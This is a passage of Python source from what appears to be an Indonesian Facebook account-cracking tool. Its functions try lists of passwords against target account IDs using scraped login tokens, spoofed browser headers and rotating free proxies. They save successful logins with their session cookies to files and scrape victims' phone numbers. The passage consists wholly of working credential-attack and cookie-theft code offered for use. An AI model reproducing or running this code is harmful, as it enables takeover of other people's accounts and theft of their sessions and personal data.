- link = ses.get(f"https://{url}/login.php?skip_api_login=1&api_key=1543146675982943&kid_directed_site=0&app_id=1543146675982943&signed_next=1&next=https%3A%2F%2F{url}%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26redirect_uri%3Dhttps%253A%252F%252Fapi.clashofstats.com%252Fauth%252Ffacebook%252Fcallback%26scope%3Demail%26client_id%3D1543146675982943%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D13aee46f-34bb-4856-8120-1093c2c7caa0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fapi.clashofstats.com%2Fauth%2Ffacebook%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
- date = {'m_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),'try_number': '0','unrecognized_tries': '0','email': idf,'prefill_contact_point': '','prefill_source': '','prefill_type': '','first_prefill_source': '','first_prefill_type': '',
- 'had_cp_prefilled': 'false',
- 'had_password_prefilled': 'false',
- 'is_smart_lock': 'true',
- 'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(link.text)).group(1),'pass': pw,'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
- "__dyn": "",
- "__csr": "",
- "__req": rc(["1","2","3","4","5","6","7","8","9","0"]),
- "__a": "",
- "__user": "0",
- "_fb_noscript": "true"}
- #cokz = ";".join([ "%s=%s" % (key, value) for key, value in link.cookies.get_dict().items()])
- head = {"Host": url,
- "content-length": f"{len(str(date))}",
- "sec-ch-ua": f'"Not.A/Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(110,114))}", "Google Chrome";v="{str(rr(110,114))}"',
- "sec-ch-ua-mobile": "?1",
- "user-agent": ua,
- "viewport-width": f"str(rr(400,989)",
- "content-type": "application/x-www-form-urlencoded",
- "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
- "sec-ch-ua-platform-version": f'"{str(rr(7,14))}.0.0"',
- "x-asbd-id": "129477",
- "x-requested-with": "mark.via.gp",
- "sec-ch-ua-full-version-list": f'"Not.A/Brand";v="{str(rr(8,20))}.0.0.0", "Chromium";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}", "Google Chrome";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}"',
- "sec-ch-prefers-color-scheme": "light",
- "sec-ch-ua-platform": '"Android"',
- "accept": "*/*",
- "origin": "https://"+url,
- "sec-fetch-site": "same-origin",
- "sec-fetch-mode": "cors",
- "sec-fetch-dest": "empty",
- "referer": f"https://{url}/login.php?skip_api_login=1&api_key=1543146675982943&kid_directed_site=0&app_id=1543146675982943&signed_next=1&next=https%3A%2F%2F{url}%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26redirect_uri%3Dhttps%253A%252F%252Fapi.clashofstats.com%252Fauth%252Ffacebook%252Fcallback%26scope%3Demail%26client_id%3D1543146675982943%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D13aee46f-34bb-4856-8120-1093c2c7caa0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fapi.clashofstats.com%2Fauth%2Ffacebook%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr",
- "accept-encoding": "gzip, deflate, br",
- "accept-language": "zh-CN;q=0.8,zh;q=0.9",
- "x-response-format": "JSONStream"}
- #po = ses.post(f"https://{url}/login/device-based/login/async/?refsrc=deprecated&lwv=100",headers=head,data=date,cookies={"cookie":cokz},allow_redirects=False,proxies=proxs)
- po = ses.post(f"https://{url}/login/device-based/login/async/?refsrc=deprecated&lwv=100",headers=head,data=date,allow_redirects=False,proxies=proxs)
- if "datr" in ses.cookies.get_dict().keys():
- if 'no' in taplikasi:
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- #cooz = ses.cookies.get_dict()
- #kuki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
- tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
- tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green] {tahun(idf)} ",style=f"white"))
- tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
- tree.add(Panel.fit(f"[green]{ua}",style=f"white"))
- prints(tree)
- open('MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
- break
- elif 'ya' in taplikasi:
- ses = requests.Session()
- head_pro = {'user-agent': 'SupportsFresco=1 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Build/MMB29Q) Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'}
- kon = 'https://mbasic.facebook.com/profile.php?v=info'
- req = ses.get(kon,headers = head_pro, cookies = kuki).text
- try:
- cari_nomor = re.search('>08(.*?)-(.*?)-(.*?)</span>',str(req)).groups(1)
- nomor = '08{}{}{}'.format(cari_nomor[0],cari_nomor[1],cari_nomor[2])
- except:
- nomor = '-'
- ok+=1
- coki = po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- #cooz = ses.cookies.get_dict()
- #kuki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
- tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
- tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green] {tahun(idf)} ",style=f"white"))
- tree.add(Panel.fit(f"[green] EMAIL : (_) ",style=f"white"))
- tree.add(Panel.fit(f"[green] NOMOR : ( {cari_nomor} ) ",style=f"white"))
- tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
- tree.add(Panel.fit(f"[green]{ua}",style=f"white"))
- prints(tree)
- open('MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
- cek_apk(kuki)
- break
- elif "checkpoint" in po.cookies.get_dict().keys():
- tree = Tree(Panel.fit(f"[yellow] LOGIN CHECKPOINT ",style=f"white"))
- tree.add(Panel.fit(f"[yellow] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[yellow] {tahun(idf)} ",style=f"white"))
- tree.add(Panel.fit(f"[yellow]{ua}",style=f"white"))
- prints(tree)
- open('MBF-CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akune.append(idf+'|'+pw)
- ceker(idf,pw)
- cp+=1
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #----------[ M ALPHA ASYINC ]----------#
- def cracking04(idf,pwx,url):
- global loop,ok,cp
- ses = requests.Session()
- rr = random.randint
- rc = random.choice
- emot = rc(["😝","😜","🤪"])
- prog.update(des,description=f"\r {emot} MBF 04 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
- prog.advance(des)
- for pw in pwx:
- try:
- if 'ya' in uadia: ua = uamu[0]
- proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
- open('socksku.txt','w').write(proxs)
- nip = rc(proxs)
- proxs = {'http': 'socks4://'+nip}
- #proxs = {'http': 'socks5://'+nip}
- ua = rc(ugen)
- ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
- link = ses.get(f"https://{url}/login.php?skip_api_login=1&api_key=344190606773871&kid_directed_site=0&app_id=344190606773871&signed_next=1&next=https%3A%2F%2F{url}%2Fv13.0%2Fdialog%2Foauth%3Fclient_id%3D344190606773871%26redirect_uri%3Dhttps%253A%252F%252Fauthenticate.riotgames.com%252Fredirects%252Ffacebook%26state%3D1a67cc732815d893f87d8053f9c057e1e5166755cfe16445766f40d31c0e%26scope%3Demail%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Df815ea0d-433c-4a0b-a325-cdfd822fae0d%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fauthenticate.riotgames.com%2Fredirects%2Ffacebook%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D1a67cc732815d893f87d8053f9c057e1e5166755cfe16445766f40d31c0e%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
- date = {'m_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),'try_number': '0','unrecognized_tries': '0','email': idf,'prefill_contact_point': '','prefill_source': '','prefill_type': '','first_prefill_source': '','first_prefill_type': '',
- 'had_cp_prefilled': 'false',
- 'had_password_prefilled': 'false',
- 'is_smart_lock': 'true',
- 'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(link.text)).group(1),'pass': pw,'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
- "__dyn": "",
- "__csr": "",
- "__req": rc(["1","2","3","4","5","6","7","8","9","0"]),
- "__a": "",
- "__user": "0",
- "_fb_noscript": "true"}
- #cokz = ";".join([ "%s=%s" % (key, value) for key, value in link.cookies.get_dict().items()])
- head = {"Host": url,
- "content-length": f"{len(str(date))}",
- "sec-ch-ua": f'"Not.A/Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(110,114))}", "Google Chrome";v="{str(rr(110,114))}"',
- "sec-ch-ua-mobile": "?1",
- "user-agent": ua,
- "viewport-width": f"str(rr(400,989)",
- "content-type": "application/x-www-form-urlencoded",
- "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
- "sec-ch-ua-platform-version": f'"{str(rr(7,14))}.0.0"',
- "x-asbd-id": "129477",
- "x-requested-with": "mark.via.gp",
- "sec-ch-ua-full-version-list": f'"Not.A/Brand";v="{str(rr(8,20))}.0.0.0", "Chromium";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}", "Google Chrome";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}"',
- "sec-ch-prefers-color-scheme": "light",
- "sec-ch-ua-platform": '"Android"',
- "accept": "*/*",
- "origin": "https://"+url,
- "sec-fetch-site": "same-origin",
- "sec-fetch-mode": "cors",
- "sec-fetch-dest": "empty",
- "referer": "https://free.facebook.com/v13.0/dialog/oauth?client_id=344190606773871&redirect_uri=https%3A%2F%2Fauthenticate.riotgames.com%2Fredirects%2Ffacebook&state=cf6e9bb52dc57f69601e1f951fbfa5fa198fd9843a5250e744c7ec218d73&scope=email&ret=login&fbapp_pres=0&logger_id=a55bca6c-4160-473d-bebc-4b9ca91b72b4&tp=unspecified",
- "accept-encoding": "gzip, deflate, br",
- "accept-language": "zh-CN;q=0.8,zh;q=0.7",
- "x-response-format": "JSONStream"}
- #po = ses.post(f"https://{url}/login/device-based/login/async/?refsrc=deprecated&lwv=100",headers=head,data=date,cookies={"cookie":cokz},allow_redirects=False,proxies=proxs)
- po = ses.post(f"https://{url}/login/device-based/login/async/?refsrc=deprecated&lwv=100",headers=head,data=date,allow_redirects=False,proxies=proxs)
- if "datr" in ses.cookies.get_dict().keys():
- if 'no' in taplikasi:
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- #cooz = ses.cookies.get_dict()
- #kuki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
- tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
- tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green] {tahun(idf)} ",style=f"white"))
- tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
- tree.add(Panel.fit(f"[green]{ua}",style=f"white"))
- prints(tree)
- open('MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
- break
- elif 'ya' in taplikasi:
- ses = requests.Session()
- head_pro = {'user-agent': 'SupportsFresco=1 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Build/MMB29Q) Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'}
- kon = 'https://mbasic.facebook.com/profile.php?v=info'
- req = ses.get(kon,headers = head_pro, cookies = kuki).text
- try:
- cari_nomor = re.search('>08(.*?)-(.*?)-(.*?)</span>',str(req)).groups(1)
- nomor = '08{}{}{}'.format(cari_nomor[0],cari_nomor[1],cari_nomor[2])
- except:
- nomor = '-'
- ok+=1
- coki = po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- #cooz = ses.cookies.get_dict()
- #kuki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
- tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
- tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green] {tahun(idf)} ",style=f"white"))
- tree.add(Panel.fit(f"[green] EMAIL : (_) ",style=f"white"))
- tree.add(Panel.fit(f"[green] NOMOR : ( {cari_nomor} ) ",style=f"white"))
- tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
- tree.add(Panel.fit(f"[green]{ua}",style=f"white"))
- prints(tree)
- open('MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
- cek_apk(kuki)
- break
- elif "checkpoint" in po.cookies.get_dict().keys():
- tree = Tree(Panel.fit(f"[yellow] LOGIN CHECKPOINT ",style=f"white"))
- tree.add(Panel.fit(f"[yellow] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[yellow] {tahun(idf)} ",style=f"white"))
- tree.add(Panel.fit(f"[yellow]{ua}",style=f"white"))
- prints(tree)
- open('MBF-CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akune.append(idf+'|'+pw)
- ceker(idf,pw)
- cp+=1
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #----------[ M TOUCH ASYINC ]----------#
- def cracking05(idf,pwx,url):
- global loop,ok,cp
- ses = requests.Session()
- rr = random.randint
- rc = random.choice
- emot = rc(["😝","😜","🤪"])
- prog.update(des,description=f"\r {emot} MBF 05 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
- prog.advance(des)
- for pw in pwx:
- try:
- if 'ya' in uadia: ua = uamu[0]
- proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
- open('socksku.txt','w').write(proxs)
- nip = rc(proxs)
- proxs = {'http': 'socks4://'+nip}
- #proxs = {'http': 'socks5://'+nip}
- ua = rc(ugen)
- ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
- link = ses.get(f"https://{url}/login.php?skip_api_login=1&api_key=923560728108869&kid_directed_site=0&app_id=923560728108869&signed_next=1&next=https%3A%2F%2F{url}%2Fv4.0%2Fdialog%2Foauth%3Fclient_id%3D923560728108869%26redirect_uri%3Dhttps%253A%252F%252Fm.vidio.com%252Fusers%252Fauth%252Ffacebook%252Fcallback%26response_type%3Dcode%26scope%3Dpublic_profile%252C%2Bemail%26state%3D51ef1254f0cd1f1bfc616d837984a9710af4f0b2f1036ac0%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D1a6e89e0-aa8e-44c6-94a8-64fac35ccaec%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fm.vidio.com%2Fusers%2Fauth%2Ffacebook%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D51ef1254f0cd1f1bfc616d837984a9710af4f0b2f1036ac0%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
- date = {'m_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),'try_number': '0','unrecognized_tries': '0','email': idf,'prefill_contact_point': '','prefill_source': '','prefill_type': '','first_prefill_source': '','first_prefill_type': '',
- 'had_cp_prefilled': 'false',
- 'had_password_prefilled': 'false',
- 'is_smart_lock': 'true',
- 'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(link.text)).group(1),'pass': pw,'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
- "__dyn": "",
- "__csr": "",
- "__req": rc(["1","2","3","4","5","6","7","8","9","0"]),
- "__a": "",
- "__user": "0",
- "_fb_noscript": "true"}
- #cokz = ";".join([ "%s=%s" % (key, value) for key, value in link.cookies.get_dict().items()])
- head = {"Host": url,
- "content-length": f"{len(str(date))}",
- "sec-ch-ua": f'"Not.A/Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(110,114))}", "Google Chrome";v="{str(rr(110,114))}"',
- "sec-ch-ua-mobile": "?1",
- "user-agent": ua,
- "viewport-width": f"str(rr(400,989)",
- "content-type": "application/x-www-form-urlencoded",
- "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
- "sec-ch-ua-platform-version": f'"{str(rr(7,14))}.0.0"',
- "x-asbd-id": "129477",
- "x-requested-with": "mark.via.gp",
- "sec-ch-ua-full-version-list": f'"Not.A/Brand";v="{str(rr(8,20))}.0.0.0", "Chromium";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}", "Google Chrome";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}"',
- "sec-ch-prefers-color-scheme": "light",
- "sec-ch-ua-platform": '"Android"',
- "accept": "*/*",
- "origin": "https://"+url,
- "sec-fetch-site": "same-origin",
- "sec-fetch-mode": "cors",
- "sec-fetch-dest": "empty",
- "referer": "https://free.facebook.com/v4.0/dialog/oauth?response_type=code&client_id=923560728108869&redirect_uri=https%3A%2F%2Fm.vidio.com%2Fusers%2Fauth%2Ffacebook%2Fcallback&state=796d0cb30a47b485779b044fe00412aaf7a6176bdaa6da23&scope=public_profile%2C+email&ret=login&fbapp_pres=0&logger_id=316f61e8-edf0-4bff-9e1b-db57cccc4337&tp=unspecified",
- "accept-encoding": "gzip, deflate, br",
- "accept-language": "zh-CN;q=0.8,zh;q=0.9",
- "x-response-format": "JSONStream"}
- #po = ses.post(f"https://{url}/login/device-based/login/async/?refsrc=deprecated&lwv=100",headers=head,data=date,cookies={"cookie":cokz},allow_redirects=False,proxies=proxs)
- po = ses.post(f"https://{url}/login/device-based/login/async/?refsrc=deprecated&lwv=100",headers=head,data=date,allow_redirects=False,proxies=proxs)
- if "datr" in ses.cookies.get_dict().keys():
- if 'no' in taplikasi:
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- #cooz = ses.cookies.get_dict()
- #kuki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
- tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
- tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green] {tahun(idf)} ",style=f"white"))
- tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
- tree.add(Panel.fit(f"[green]{ua}",style=f"white"))
- prints(tree)
- open('MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
- break
- elif 'ya' in taplikasi:
- ses = requests.Session()
- head_pro = {'user-agent': 'SupportsFresco=1 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Build/MMB29Q) Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'}
- kon = 'https://mbasic.facebook.com/profile.php?v=info'
- req = ses.get(kon,headers = head_pro, cookies = kuki).text
- try:
- cari_nomor = re.search('>08(.*?)-(.*?)-(.*?)</span>',str(req)).groups(1)
- nomor = '08{}{}{}'.format(cari_nomor[0],cari_nomor[1],cari_nomor[2])
- except:
- nomor = '-'
- ok+=1
- coki = po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- #cooz = ses.cookies.get_dict()
- #kuki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
- tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
- tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green] {tahun(idf)} ",style=f"white"))
- tree.add(Panel.fit(f"[green] EMAIL : (_) ",style=f"white"))
- tree.add(Panel.fit(f"[green] NOMOR : ( {cari_nomor} ) ",style=f"white"))
- tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
- tree.add(Panel.fit(f"[green]{ua}",style=f"white"))
- prints(tree)
- open('MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
- cek_apk(kuki)
- break
- elif "checkpoint" in po.cookies.get_dict().keys():
- tree = Tree(Panel.fit(f"[yellow] LOGIN CHECKPOINT ",style=f"white"))
- tree.add(Panel.fit(f"[yellow] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[yellow] {tahun(idf)} ",style=f"white"))
- tree.add(Panel.fit(f"[yellow]{ua}",style=f"white"))
- prints(tree)
- open('MBF-CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akune.append(idf+'|'+pw)
- ceker(idf,pw)
- cp+=1
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- #----------[ MOBILE REGULER ]----------#
- def cracking06(idf,pwx,url):
- global loop,ok,cp
- ses = requests.Session()
- rr = random.randint
- rc = random.choice
- emot = rc(["😝","😜","🤪"])
- prog.update(des,description=f"\r {emot} MBF 06 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
- prog.advance(des)
- for pw in pwx:
- try:
- if 'ya' in uadia: ua = uamu[0]
- proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
- open('socksku.txt','w').write(proxs)
- nip = rc(proxs)
- proxs = {'http': 'socks4://'+nip}
- ua = rc(ugen)
- ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
- ses.headers.update({"Host":url,
- "upgrade-insecure-requests":"1",
- "user-agent":ua,
- "accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9",
- "dnt":f"{str(rr(1,9))}",
- "x-requested-with":"com.facebook.katana",
- "sec-fetch-site":"same-origin",
- "sec-fetch-mode":"cors",
- "sec-fetch-user":"empty",
- "sec-fetch-dest":"document",
- "referer":f"https://{url}/",
- "accept-encoding":"gzip, deflate br",
- "accept-language":"en-GB,en-US;q=0.9"})
- link = ses.get('https://m.facebook.com/login/?email='+idf).text
- date = {'lsd':re.search('name="lsd" value="(.*?)"', str(link)).group(1),'jazoest':re.search('name="jazoest" value="(.*?)"', str(link)).group(1),'m_ts':re.search('name="m_ts" value="(.*?)"', str(link)).group(1),
- 'li':re.search('name="li" value="(.*?)"', str(link)).group(1),'email':idf,'pass':pw}
- ses.headers.update({'Host': url,
- 'cache-control': 'max-age=0',
- 'upgrade-insecure-requests': '1',
- 'origin': 'https://'+url,
- 'content-type': 'application/x-www-form-urlencoded',
- 'user-agent': ua,
- 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9',
- 'sec-fetch-site': 'same-origin',
- 'sec-fetch-mode': 'cors',
- 'sec-fetch-user': 'empty',
- 'sec-fetch-dest': 'document',
- 'referer': f'https://{url}/login/?email='+idf,
- 'accept-encoding':'gzip, deflate br',
- 'accept-language':'en-GB,en-US;q=0.9'})
- po = ses.post(f"https://{url}/login/device-based/regular/login/?shbl=1&refsrc=deprecated",data=date,allow_redirects=False,proxies=proxs)
- if "datr" in ses.cookies.get_dict().keys():
- if 'no' in taplikasi:
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- #cooz = ses.cookies.get_dict()
- #kuki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
- tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
- tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green] {tahun(idf)} ",style=f"white"))
- tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
- tree.add(Panel.fit(f"[green]{ua}",style=f"white"))
- prints(tree)
- open('MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
- break
- elif 'ya' in taplikasi:
- ses = requests.Session()
- head_pro = {'user-agent': 'SupportsFresco=1 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Build/MMB29Q) Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'}
- kon = 'https://mbasic.facebook.com/profile.php?v=info'
- req = ses.get(kon,headers = head_pro, cookies = kuki).text
- try:
- cari_nomor = re.search('>08(.*?)-(.*?)-(.*?)</span>',str(req)).groups(1)
- nomor = '08{}{}{}'.format(cari_nomor[0],cari_nomor[1],cari_nomor[2])
- except:
- nomor = '-'
- ok+=1
- coki = po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- #cooz = ses.cookies.get_dict()
- #kuki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
- tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
- tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green] {tahun(idf)} ",style=f"white"))
- tree.add(Panel.fit(f"[green] EMAIL : (_) ",style=f"white"))
- tree.add(Panel.fit(f"[green] NOMOR : ( {cari_nomor} ) ",style=f"white"))
- tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
- tree.add(Panel.fit(f"[green]{ua}",style=f"white"))
- prints(tree)
- open('MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
- cek_apk(kuki)
- break
- elif "checkpoint" in po.cookies.get_dict().keys():
- tree = Tree(Panel.fit(f"[yellow] LOGIN CHECKPOINT ",style=f"white"))
